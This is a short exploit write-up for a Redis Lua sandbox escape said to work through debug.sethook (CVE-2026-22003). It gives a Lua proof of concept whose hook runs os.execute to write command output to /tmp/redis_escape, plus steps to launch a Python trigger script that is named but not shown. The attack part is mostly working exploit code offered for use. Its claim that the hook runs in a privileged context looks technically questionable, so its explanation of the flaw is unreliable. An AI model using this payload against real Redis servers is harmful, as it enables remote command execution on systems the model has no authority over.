CVE-2026-22003 – Redis Lua Sandbox Escape via debug.sethook

Program Code (Lua + Python trigger)

-- redis_sandbox.lua - Script that attempts sandbox escape
local function escape()
  debug.sethook(function() 
    -- This hook runs in a privileged context
    os.execute("id > /tmp/redis_escape") 
  end, "r")
  local a = 1
end
return escape()

CVE-2026-22003 – Redis Lua Sandbox Escape via debug.sethook

Overview

The Redis Lua sandbox does not properly disable the debug.sethook function. An attacker who can run Lua scripts can install a hook that executes in a privileged context and break out of the sandbox to execute arbitrary system commands.

Vulnerability Details

• Type: Sandbox Escape
• Impact: Remote Code Execution on the Redis host.
• Root Cause: The Lua environment’s debug library remains accessible, allowing hooks that can call os.execute or similar functions.

Exploit Demonstration

1. Start a Redis server (with default config that allows EVAL).
2. Run the exploit:
   root@kitploit:~

   pip install redis
   python trigger_redis_sandbox_escape.py
   

The file /tmp/redis_escape is created, proving command execution.